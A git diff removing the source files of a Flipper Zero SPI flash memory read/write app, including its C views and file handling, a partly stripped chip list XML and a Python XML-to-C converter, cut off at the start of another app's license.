scene_manager_handle_back_event(app->scene_manager); -} - -SPIMemApp* spi_mem_alloc(void) { - SPIMemApp* instance = malloc(sizeof(SPIMemApp)); //-V799 - - instance->file_path = furi_string_alloc_set(STORAGE_APP_DATA_PATH_PREFIX); - instance->gui = furi_record_open(RECORD_GUI); - instance->notifications = furi_record_open(RECORD_NOTIFICATION); - instance->view_dispatcher = view_dispatcher_alloc(); - instance->scene_manager = scene_manager_alloc(&spi_mem_scene_handlers, instance); - instance->submenu = submenu_alloc(); - instance->dialog_ex = dialog_ex_alloc(); - instance->popup = popup_alloc(); - instance->worker = spi_mem_worker_alloc(); - instance->dialogs = furi_record_open(RECORD_DIALOGS); - instance->storage = furi_record_open(RECORD_STORAGE); - instance->widget = widget_alloc(); - instance->chip_info = malloc(sizeof(SPIMemChip)); - found_chips_init(instance->found_chips); - instance->view_progress = spi_mem_view_progress_alloc(); - instance->view_detect = spi_mem_view_detect_alloc(); - instance->text_input = text_input_alloc(); - instance->mode = SPIMemModeUnknown; - - // Migrate data from old sd-card folder - storage_common_migrate(instance->storage, EXT_PATH("spimem"), STORAGE_APP_DATA_PATH_PREFIX); - - view_dispatcher_enable_queue(instance->view_dispatcher); - view_dispatcher_set_event_callback_context(instance->view_dispatcher, instance); - view_dispatcher_set_custom_event_callback( - instance->view_dispatcher, spi_mem_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - instance->view_dispatcher, spi_mem_back_event_callback); - view_dispatcher_attach_to_gui( - instance->view_dispatcher, instance->gui, ViewDispatcherTypeFullscreen); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewSubmenu, submenu_get_view(instance->submenu)); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewDialogEx, dialog_ex_get_view(instance->dialog_ex)); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewPopup, popup_get_view(instance->popup)); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewWidget, widget_get_view(instance->widget)); - view_dispatcher_add_view( - instance->view_dispatcher, - SPIMemViewProgress, - spi_mem_view_progress_get_view(instance->view_progress)); - view_dispatcher_add_view( - instance->view_dispatcher, - SPIMemViewDetect, - spi_mem_view_detect_get_view(instance->view_detect)); - view_dispatcher_add_view( - instance->view_dispatcher, SPIMemViewTextInput, text_input_get_view(instance->text_input)); - - furi_hal_power_enable_otg(); - furi_hal_spi_bus_handle_init(&furi_hal_spi_bus_handle_external); - scene_manager_next_scene(instance->scene_manager, SPIMemSceneStart); - return instance; -} //-V773 - -void spi_mem_free(SPIMemApp* instance) { - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewSubmenu); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewDialogEx); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewPopup); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewWidget); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewProgress); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewDetect); - view_dispatcher_remove_view(instance->view_dispatcher, SPIMemViewTextInput); - spi_mem_view_progress_free(instance->view_progress); - spi_mem_view_detect_free(instance->view_detect); - submenu_free(instance->submenu); - dialog_ex_free(instance->dialog_ex); - popup_free(instance->popup); - widget_free(instance->widget); - text_input_free(instance->text_input); - view_dispatcher_free(instance->view_dispatcher); - scene_manager_free(instance->scene_manager); - spi_mem_worker_free(instance->worker); - free(instance->chip_info); - found_chips_clear(instance->found_chips); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_DIALOGS); - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_GUI); - furi_string_free(instance->file_path); - furi_hal_spi_bus_handle_deinit(&furi_hal_spi_bus_handle_external); - furi_hal_power_disable_otg(); - free(instance); -} - -int32_t spi_mem_app(void* p) { - UNUSED(p); - SPIMemApp* instance = spi_mem_alloc(); - view_dispatcher_run(instance->view_dispatcher); - spi_mem_free(instance); - return 0; -} diff --git a/applications/external/spi_mem_manager/spi_mem_app.h b/applications/external/spi_mem_manager/spi_mem_app.h deleted file mode 100644 index 37ac927db..000000000 --- a/applications/external/spi_mem_manager/spi_mem_app.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -typedef struct SPIMemApp SPIMemApp; diff --git a/applications/external/spi_mem_manager/spi_mem_app_i.h b/applications/external/spi_mem_manager/spi_mem_app_i.h deleted file mode 100644 index dc470db36..000000000 --- a/applications/external/spi_mem_manager/spi_mem_app_i.h +++ /dev/null @@ -1,79 +0,0 @@ -#pragma once - -#include -#include -#include -#include "spi_mem_app.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "scenes/spi_mem_scene.h" -#include "lib/spi/spi_mem_worker.h" -#include "spi_mem_manager_icons.h" -#include -#include "views/spi_mem_view_progress.h" -#include "views/spi_mem_view_detect.h" - -#define TAG "SPIMem" -#define SPI_MEM_FILE_EXTENSION ".bin" -#define SPI_MEM_FILE_NAME_SIZE 100 -#define SPI_MEM_TEXT_BUFFER_SIZE 128 - -typedef enum { - SPIMemModeRead, - SPIMemModeWrite, - SPIMemModeCompare, - SPIMemModeErase, - SPIMemModeDelete, - SPIMemModeUnknown -} SPIMemMode; - -struct SPIMemApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - Submenu* submenu; - DialogEx* dialog_ex; - Popup* popup; - NotificationApp* notifications; - FuriString* file_path; - DialogsApp* dialogs; - Storage* storage; - File* file; - Widget* widget; - SPIMemWorker* worker; - SPIMemChip* chip_info; - found_chips_t found_chips; - uint32_t chip_vendor_enum; - SPIMemProgressView* view_progress; - SPIMemDetectView* view_detect; - TextInput* text_input; - SPIMemMode mode; - char text_buffer[SPI_MEM_TEXT_BUFFER_SIZE + 1]; -}; - -typedef enum { - SPIMemViewSubmenu, - SPIMemViewDialogEx, - SPIMemViewPopup, - SPIMemViewWidget, - SPIMemViewTextInput, - SPIMemViewProgress, - SPIMemViewDetect -} SPIMemView; - -typedef enum { - SPIMemCustomEventViewReadCancel, - SPIMemCustomEventViewVerifySkip, - SPIMemCustomEventTextEditResult, - SPIMemCustomEventPopupBack -} SPIMemCustomEvent; diff --git a/applications/external/spi_mem_manager/spi_mem_files.c b/applications/external/spi_mem_manager/spi_mem_files.c deleted file mode 100644 index 9b787bd7f..000000000 --- a/applications/external/spi_mem_manager/spi_mem_files.c +++ /dev/null @@ -1,68 +0,0 @@ -#include "spi_mem_app_i.h" - -bool spi_mem_file_delete(SPIMemApp* app) { - return (storage_simply_remove(app->storage, furi_string_get_cstr(app->file_path))); -} - -bool spi_mem_file_select(SPIMemApp* app) { - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, SPI_MEM_FILE_EXTENSION, &I_Dip8_10px); - browser_options.base_path = STORAGE_APP_DATA_PATH_PREFIX; - bool success = - dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options); - return success; -} - -bool spi_mem_file_create_open(SPIMemApp* app) { - bool success = false; - app->file = storage_file_alloc(app->storage); - do { - if(furi_string_end_with(app->file_path, SPI_MEM_FILE_EXTENSION)) { - if(!spi_mem_file_delete(app)) break; - size_t filename_start = furi_string_search_rchar(app->file_path, '/'); - furi_string_left(app->file_path, filename_start); - } - furi_string_cat_printf(app->file_path, "/%s%s", app->text_buffer, SPI_MEM_FILE_EXTENSION); - if(!storage_file_open( - app->file, furi_string_get_cstr(app->file_path), FSAM_WRITE, FSOM_CREATE_NEW)) - break; - success = true; - } while(0); - if(!success) { //-V547 - dialog_message_show_storage_error(app->dialogs, "Cannot save\nfile"); - } - return success; -} - -bool spi_mem_file_open(SPIMemApp* app) { - app->file = storage_file_alloc(app->storage); - if(!storage_file_open( - app->file, furi_string_get_cstr(app->file_path), FSAM_READ_WRITE, FSOM_OPEN_EXISTING)) { - dialog_message_show_storage_error(app->dialogs, "Cannot save\nfile"); - return false; - } - return true; -} - -bool spi_mem_file_write_block(SPIMemApp* app, uint8_t* data, size_t size) { - if(storage_file_write(app->file, data, size) != size) return false; - return true; -} - -bool spi_mem_file_read_block(SPIMemApp* app, uint8_t* data, size_t size) { - if(storage_file_read(app->file, data, size) != size) return false; - return true; -} - -void spi_mem_file_close(SPIMemApp* app) { - storage_file_close(app->file); - storage_file_free(app->file); -} - -size_t spi_mem_file_get_size(SPIMemApp* app) { - FileInfo file_info; - if(storage_common_stat(app->storage, furi_string_get_cstr(app->file_path), &file_info) != - FSE_OK) - return 0; - return file_info.size; -} diff --git a/applications/external/spi_mem_manager/spi_mem_files.h b/applications/external/spi_mem_manager/spi_mem_files.h deleted file mode 100644 index 6a529d327..000000000 --- a/applications/external/spi_mem_manager/spi_mem_files.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once -#include "spi_mem_app.h" - -bool spi_mem_file_select(SPIMemApp* app); -bool spi_mem_file_create(SPIMemApp* app, const char* file_name); -bool spi_mem_file_delete(SPIMemApp* app); -bool spi_mem_file_create_open(SPIMemApp* app); -bool spi_mem_file_open(SPIMemApp* app); -bool spi_mem_file_write_block(SPIMemApp* app, uint8_t* data, size_t size); -bool spi_mem_file_read_block(SPIMemApp* app, uint8_t* data, size_t size); -void spi_mem_file_close(SPIMemApp* app); -void spi_mem_file_show_storage_error(SPIMemApp* app, const char* error_text); -size_t spi_mem_file_get_size(SPIMemApp* app); diff --git a/applications/external/spi_mem_manager/tools/chiplist/LICENSE b/applications/external/spi_mem_manager/tools/chiplist/LICENSE deleted file mode 100644 index 56364f150..000000000 --- a/applications/external/spi_mem_manager/tools/chiplist/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2015 nofeletru - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/applications/external/spi_mem_manager/tools/chiplist/chiplist.xml b/applications/external/spi_mem_manager/tools/chiplist/chiplist.xml deleted file mode 100644 index 91a654743..000000000 --- a/applications/external/spi_mem_manager/tools/chiplist/chiplist.xml +++ /dev/null @@ -1,984 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <_25AA010A page="16" size="128" spicmd="95"/> - <_25AA020A page="16" size="256" spicmd="95"/> - <_25AA040 page="16" size="512" spicmd="95"/> - <_25AA040A page="16" size="512" spicmd="95"/> - <_25AA080 page="16" size="1024" spicmd="95"/> - <_25AA080A page="16" size="1024" spicmd="95"/> - <_25AA080B page="32" size="1024" spicmd="95"/> - <_25AA080C page="16" size="1024" spicmd="95"/> - <_25AA080D page="32" size="1024" spicmd="95"/> - <_25AA1024 page="256" size="131072" spicmd="95"/> - <_25AA128 page="64" size="16384" spicmd="95"/> - <_25AA160 page="16" size="2048" spicmd="95"/> - <_25AA160A page="16" size="2048" spicmd="95"/> - <_25AA160B page="32" size="2048" spicmd="95"/> - <_25AA256 page="64" size="32768" spicmd="95"/> - <_25AA320 page="32" size="4096" spicmd="95"/> - <_25AA512 page="128" size="65536" spicmd="95"/> - <_25AA640 page="32" size="8192" spicmd="95"/> - <_25C040 page="16" size="512" spicmd="95"/> - <_25C080 page="16" size="1024" spicmd="95"/> - <_25C160 page="16" size="2048" spicmd="95"/> - <_25C320 page="32" size="4096" spicmd="95"/> - <_25C640 page="32" size="8192" spicmd="95"/> - <_25LC010A page="16" size="128" spicmd="95"/> - <_25LC020A page="16" size="256" spicmd="95"/> - <_25LC040 page="16" size="512" spicmd="95"/> - <_25LC040A page="16" size="512" spicmd="95"/> - <_25LC080 page="16" size="1024" spicmd="95"/> - <_25LC080A page="16" size="1024" spicmd="95"/> - <_25LC080B page="32" size="1024" spicmd="95"/> - <_25LC080C page="16" size="1024" spicmd="95"/> - <_25LC080D page="32" size="1024" spicmd="95"/> - <_25LC1024 page="256" size="131072" spicmd="95"/> - <_25LC128 page="64" size="16384" spicmd="95"/> - <_25LC160 page="16" size="2048" spicmd="95"/> - <_25LC160A page="16" size="2048" spicmd="95"/> - <_25LC160B page="32" size="2048" spicmd="95"/> - <_25LC256 page="64" size="32768" spicmd="95"/> - <_25LC320 page="32" size="4096" spicmd="95"/> - <_25LC512 page="128" size="65536" spicmd="95"/> - <_25LC640 page="32" size="8192" spicmd="95"/> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <_24Cxxx> - - <_24C01 page="1" size="128" addrtype="1"/> - <_24C02 page="1" size="256" addrtype="1"/> - <_24C04 page="1" size="512" addrtype="2"/> - <_24C08 page="16" size="1024" addrtype="3"/> - <_24C16 page="16" size="2048" addrtype="4"/> - <_24C32 page="32" size="4096" addrtype="5"/> - <_24C64 page="32" size="8192" addrtype="5"/> - <_24C128 page="64" size="16384" addrtype="5"/> - <_24C256 page="64" size="32768" addrtype="5"/> - <_24C512 page="128" size="65536" addrtype="5"/> - <_24C1024 page="128" size="131072" addrtype="6"/> - - - - - - - - - - - - - diff --git a/applications/external/spi_mem_manager/tools/chiplist_convert.py b/applications/external/spi_mem_manager/tools/chiplist_convert.py deleted file mode 100644 index 8b623eb3e..000000000 --- a/applications/external/spi_mem_manager/tools/chiplist_convert.py +++ /dev/null @@ -1,109 +0,0 @@ -#!/usr/bin/env python3 - -import argparse -import xml.etree.ElementTree as XML -import sys - - -def getArgs(): - parser = argparse.ArgumentParser( - description="chiplist.xml to C array converter", - ) - parser.add_argument("file", help="chiplist.xml file") - return parser.parse_args() - - -def getXML(file): - tree = XML.parse(file) - root = tree.getroot() - return root - - -def parseChip(cur, arr, vendor, vendorCodeArr): - chip = {} - chipAttr = cur.attrib - if "page" not in chipAttr: # chip without page size not supported - return - if "id" not in chipAttr: # I2C not supported yet - return - if len(chipAttr["id"]) < 6: # ID wihout capacity id not supported yet - return - chip["modelName"] = cur.tag - chip["vendorEnum"] = "SPIMemChipVendor" + vendor - chip["vendorID"] = "0x" + chipAttr["id"][0] + chipAttr["id"][1] - chip["typeID"] = chipAttr["id"][2] + chipAttr["id"][3] - chip["capacityID"] = chipAttr["id"][4] + chipAttr["id"][5] - chip["size"] = chipAttr["size"] - if chipAttr["page"] == "SSTW": - chip["writeMode"] = "SPIMemChipWriteModeAAIWord" - chip["pageSize"] = "1" - elif chipAttr["page"] == "SSTB": - chip["writeMode"] = "SPIMemChipWriteModeAAIByte" - chip["pageSize"] = "1" - else: - chip["writeMode"] = "SPIMemChipWriteModePage" - chip["pageSize"] = chipAttr["page"] - arr.append(chip) - vendorCodeArr[vendor].add(chip["vendorID"]) - - -def cleanEmptyVendors(vendors): - for cur in list(vendors): - if not vendors[cur]: - vendors.pop(cur) - - -def getVendors(xml, interface): - arr = {} - for cur in xml.find(interface): - arr[cur.tag] = set() - return arr - - -def parseXML(xml, interface, vendorCodeArr): - arr = [] - for vendor in xml.find(interface): - for cur in vendor: - parseChip(cur, arr, vendor.tag, vendorCodeArr) - return arr - - -def getVendorNameEnum(vendorID): - try: - return vendors[vendorID] - except: - print("Unknown vendor: " + vendorID) - sys.exit(1) - - -def generateCArr(arr, filename): - with open(filename, "w") as out: - print('#include "spi_mem_chip_i.h"', file=out) - print("const SPIMemChip SPIMemChips[] = {", file=out) - for cur in arr: - print(" {" + cur["vendorID"] + ",", file=out, end="") - print(" 0x" + cur["typeID"] + ",", file=out, end="") - print(" 0x" + cur["capacityID"] + ",", file=out, end="") - print(' "' + cur["modelName"] + '",', file=out, end="") - print(" " + cur["size"] + ",", file=out, end="") - print(" " + cur["pageSize"] + ",", file=out, end="") - print(" " + cur["vendorEnum"] + ",", file=out, end="") - if cur == arr[-1]: - print(" " + cur["writeMode"] + "}};", file=out) - else: - print(" " + cur["writeMode"] + "},", file=out) - -def main(): - filename = "spi_mem_chip_arr.c" - args = getArgs() - xml = getXML(args.file) - vendors = getVendors(xml, "SPI") - chipArr = parseXML(xml, "SPI", vendors) - cleanEmptyVendors(vendors) - for cur in vendors: - print(' {"' + cur + '", SPIMemChipVendor' + cur + "},") - generateCArr(chipArr, filename) - - -if __name__ == "__main__": - main() diff --git a/applications/external/spi_mem_manager/views/spi_mem_view_detect.c b/applications/external/spi_mem_manager/views/spi_mem_view_detect.c deleted file mode 100644 index 473d54ae2..000000000 --- a/applications/external/spi_mem_manager/views/spi_mem_view_detect.c +++ /dev/null @@ -1,65 +0,0 @@ -#include "spi_mem_view_detect.h" -#include "spi_mem_manager_icons.h" -#include -#include - -struct SPIMemDetectView { - View* view; - IconAnimation* icon; - SPIMemDetectViewCallback callback; - void* cb_ctx; -}; - -typedef struct { - IconAnimation* icon; -} SPIMemDetectViewModel; - -View* spi_mem_view_detect_get_view(SPIMemDetectView* app) { - return app->view; -} - -static void spi_mem_view_detect_draw_callback(Canvas* canvas, void* context) { - SPIMemDetectViewModel* model = context; - canvas_set_font(canvas, FontPrimary); - canvas_draw_icon_animation(canvas, 0, 0, model->icon); - canvas_draw_str_aligned(canvas, 64, 26, AlignLeft, AlignCenter, "Detecting"); - canvas_draw_str_aligned(canvas, 64, 36, AlignLeft, AlignCenter, "SPI chip..."); -} - -static void spi_mem_view_detect_enter_callback(void* context) { - SPIMemDetectView* app = context; - with_view_model( - app->view, SPIMemDetectViewModel * model, { icon_animation_start(model->icon); }, false); -} - -static void spi_mem_view_detect_exit_callback(void* context) { - SPIMemDetectView* app = context; - with_view_model( - app->view, SPIMemDetectViewModel * model, { icon_animation_stop(model->icon); }, false); -} - -SPIMemDetectView* spi_mem_view_detect_alloc() { - SPIMemDetectView* app = malloc(sizeof(SPIMemDetectView)); - app->view = view_alloc(); - view_set_context(app->view, app); - view_allocate_model(app->view, ViewModelTypeLocking, sizeof(SPIMemDetectViewModel)); - with_view_model( - app->view, - SPIMemDetectViewModel * model, - { - model->icon = icon_animation_alloc(&A_ChipLooking_64x64); - view_tie_icon_animation(app->view, model->icon); - }, - false); - view_set_draw_callback(app->view, spi_mem_view_detect_draw_callback); - view_set_enter_callback(app->view, spi_mem_view_detect_enter_callback); - view_set_exit_callback(app->view, spi_mem_view_detect_exit_callback); - return app; -} - -void spi_mem_view_detect_free(SPIMemDetectView* app) { - with_view_model( - app->view, SPIMemDetectViewModel * model, { icon_animation_free(model->icon); }, false); - view_free(app->view); - free(app); -} diff --git a/applications/external/spi_mem_manager/views/spi_mem_view_detect.h b/applications/external/spi_mem_manager/views/spi_mem_view_detect.h deleted file mode 100644 index f95edb60d..000000000 --- a/applications/external/spi_mem_manager/views/spi_mem_view_detect.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once -#include - -typedef struct SPIMemDetectView SPIMemDetectView; -typedef void (*SPIMemDetectViewCallback)(void* context); - -View* spi_mem_view_detect_get_view(SPIMemDetectView* app); -SPIMemDetectView* spi_mem_view_detect_alloc(); -void spi_mem_view_detect_free(SPIMemDetectView* app); diff --git a/applications/external/spi_mem_manager/views/spi_mem_view_progress.c b/applications/external/spi_mem_manager/views/spi_mem_view_progress.c deleted file mode 100644 index 790f97997..000000000 --- a/applications/external/spi_mem_manager/views/spi_mem_view_progress.c +++ /dev/null @@ -1,230 +0,0 @@ -#include "spi_mem_view_progress.h" -#include - -struct SPIMemProgressView { - View* view; - SPIMemProgressViewCallback callback; - void* cb_ctx; -}; - -typedef enum { - SPIMemProgressViewTypeRead, - SPIMemProgressViewTypeVerify, - SPIMemProgressViewTypeWrite, - SPIMemProgressViewTypeUnknown -} SPIMemProgressViewType; - -typedef struct { - size_t chip_size; - size_t file_size; - size_t blocks_written; - size_t block_size; - float progress; - SPIMemProgressViewType view_type; -} SPIMemProgressViewModel; - -View* spi_mem_view_progress_get_view(SPIMemProgressView* app) { - return app->view; -} - -static void spi_mem_view_progress_draw_progress(Canvas* canvas, float progress) { - FuriString* progress_str = furi_string_alloc(); - if(progress > 1.0) progress = 1.0; - furi_string_printf(progress_str, "%d %%", (int)(progress * 100)); - elements_progress_bar(canvas, 13, 35, 100, progress); - canvas_draw_str_aligned( - canvas, 64, 25, AlignCenter, AlignTop, furi_string_get_cstr(progress_str)); - furi_string_free(progress_str); -} - -static void - spi_mem_view_progress_read_draw_callback(Canvas* canvas, SPIMemProgressViewModel* model) { - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Reading dump"); - spi_mem_view_progress_draw_progress(canvas, model->progress); - elements_button_left(canvas, "Cancel"); -} - -static void - spi_mem_view_progress_draw_size_warning(Canvas* canvas, SPIMemProgressViewModel* model) { - if(model->file_size > model->chip_size) { - canvas_draw_str_aligned(canvas, 64, 13, AlignCenter, AlignTop, "Size clamped to chip!"); - } - if(model->chip_size > model->file_size) { - canvas_draw_str_aligned(canvas, 64, 13, AlignCenter, AlignTop, "Size clamped to file!"); - } -} - -static void - spi_mem_view_progress_verify_draw_callback(Canvas* canvas, SPIMemProgressViewModel* model) { - canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "Verifying dump"); - spi_mem_view_progress_draw_size_warning(canvas, model); - spi_mem_view_progress_draw_progress(canvas, model->progress); - elements_button_center(canvas, "Skip"); -} - -static void - spi_mem_view_progress_write_draw_callback(Canvas* canvas, SPIMemProgressViewModel* model) { - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Writing dump"); - spi_mem_view_progress_draw_size_warning(canvas, model); - spi_mem_view_progress_draw_progress(canvas, model->progress); - elements_button_left(canvas, "Cancel"); -} - -static void spi_mem_view_progress_draw_callback(Canvas* canvas, void* context) { - SPIMemProgressViewModel* model = context; - SPIMemProgressViewType view_type = model->view_type; - if(view_type == SPIMemProgressViewTypeRead) { - spi_mem_view_progress_read_draw_callback(canvas, model); - } else if(view_type == SPIMemProgressViewTypeVerify) { - spi_mem_view_progress_verify_draw_callback(canvas, model); - } else if(view_type == SPIMemProgressViewTypeWrite) { - spi_mem_view_progress_write_draw_callback(canvas, model); - } -} - -static bool - spi_mem_view_progress_read_write_input_callback(InputEvent* event, SPIMemProgressView* app) { - bool success = false; - if(event->type == InputTypeShort && event->key == InputKeyLeft) { - if(app->callback) { - app->callback(app->cb_ctx); - } - success = true; - } - return success; -} - -static bool - spi_mem_view_progress_verify_input_callback(InputEvent* event, SPIMemProgressView* app) { - bool success = false; - if(event->type == InputTypeShort && event->key == InputKeyOk) { - if(app->callback) { - app->callback(app->cb_ctx); - } - success = true; - } - return success; -} - -static bool spi_mem_view_progress_input_callback(InputEvent* event, void* context) { - SPIMemProgressView* app = context; - bool success = false; - SPIMemProgressViewType view_type; - with_view_model( - app->view, SPIMemProgressViewModel * model, { view_type = model->view_type; }, true); - if(view_type == SPIMemProgressViewTypeRead) { - success = spi_mem_view_progress_read_write_input_callback(event, app); - } else if(view_type == SPIMemProgressViewTypeVerify) { - success = spi_mem_view_progress_verify_input_callback(event, app); - } else if(view_type == SPIMemProgressViewTypeWrite) { - success = spi_mem_view_progress_read_write_input_callback(event, app); - } - return success; -} - -SPIMemProgressView* spi_mem_view_progress_alloc() { - SPIMemProgressView* app = malloc(sizeof(SPIMemProgressView)); - app->view = view_alloc(); - view_allocate_model(app->view, ViewModelTypeLocking, sizeof(SPIMemProgressViewModel)); - view_set_context(app->view, app); - view_set_draw_callback(app->view, spi_mem_view_progress_draw_callback); - view_set_input_callback(app->view, spi_mem_view_progress_input_callback); - spi_mem_view_progress_reset(app); - return app; -} - -void spi_mem_view_progress_free(SPIMemProgressView* app) { - view_free(app->view); - free(app); -} - -void spi_mem_view_progress_set_read_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx) { - app->callback = callback; - app->cb_ctx = cb_ctx; - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { model->view_type = SPIMemProgressViewTypeRead; }, - true); -} - -void spi_mem_view_progress_set_verify_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx) { - app->callback = callback; - app->cb_ctx = cb_ctx; - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { model->view_type = SPIMemProgressViewTypeVerify; }, - true); -} - -void spi_mem_view_progress_set_write_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx) { - app->callback = callback; - app->cb_ctx = cb_ctx; - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { model->view_type = SPIMemProgressViewTypeWrite; }, - true); -} - -void spi_mem_view_progress_set_chip_size(SPIMemProgressView* app, size_t chip_size) { - with_view_model( - app->view, SPIMemProgressViewModel * model, { model->chip_size = chip_size; }, true); -} - -void spi_mem_view_progress_set_file_size(SPIMemProgressView* app, size_t file_size) { - with_view_model( - app->view, SPIMemProgressViewModel * model, { model->file_size = file_size; }, true); -} - -void spi_mem_view_progress_set_block_size(SPIMemProgressView* app, size_t block_size) { - with_view_model( - app->view, SPIMemProgressViewModel * model, { model->block_size = block_size; }, true); -} - -static size_t spi_mem_view_progress_set_total_size(SPIMemProgressViewModel* model) { - size_t total_size = model->chip_size; - if((model->chip_size > model->file_size) && model->view_type != SPIMemProgressViewTypeRead) { - total_size = model->file_size; - } - return total_size; -} - -void spi_mem_view_progress_inc_progress(SPIMemProgressView* app) { - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { - size_t total_size = spi_mem_view_progress_set_total_size(model); - if(total_size == 0) total_size = 1; - model->blocks_written++; - model->progress = - ((float)model->block_size * (float)model->blocks_written) / ((float)total_size); - }, - true); -} - -void spi_mem_view_progress_reset(SPIMemProgressView* app) { - with_view_model( - app->view, - SPIMemProgressViewModel * model, - { - model->blocks_written = 0; - model->block_size = 0; - model->chip_size = 0; - model->file_size = 0; - model->progress = 0; - model->view_type = SPIMemProgressViewTypeUnknown; - }, - true); -} diff --git a/applications/external/spi_mem_manager/views/spi_mem_view_progress.h b/applications/external/spi_mem_manager/views/spi_mem_view_progress.h deleted file mode 100644 index 6a8645b6c..000000000 --- a/applications/external/spi_mem_manager/views/spi_mem_view_progress.h +++ /dev/null @@ -1,26 +0,0 @@ -#pragma once -#include - -typedef struct SPIMemProgressView SPIMemProgressView; -typedef void (*SPIMemProgressViewCallback)(void* context); - -View* spi_mem_view_progress_get_view(SPIMemProgressView* app); -SPIMemProgressView* spi_mem_view_progress_alloc(); -void spi_mem_view_progress_free(SPIMemProgressView* app); -void spi_mem_view_progress_set_read_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx); -void spi_mem_view_progress_set_verify_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx); -void spi_mem_view_progress_set_write_callback( - SPIMemProgressView* app, - SPIMemProgressViewCallback callback, - void* cb_ctx); -void spi_mem_view_progress_set_chip_size(SPIMemProgressView* app, size_t chip_size); -void spi_mem_view_progress_set_file_size(SPIMemProgressView* app, size_t file_size); -void spi_mem_view_progress_set_block_size(SPIMemProgressView* app, size_t block_size); -void spi_mem_view_progress_inc_progress(SPIMemProgressView* app); -void spi_mem_view_progress_reset(SPIMemProgressView* app); diff --git a/applications/external/subghz_bruteforcer/LICENSE b/applications/external/subghz_bruteforcer/LICENSE deleted file mode 100644 index 8fb0d1388..000000000 --- a/applications/external/subghz_bruteforcer/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2023 DerSkythe - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the 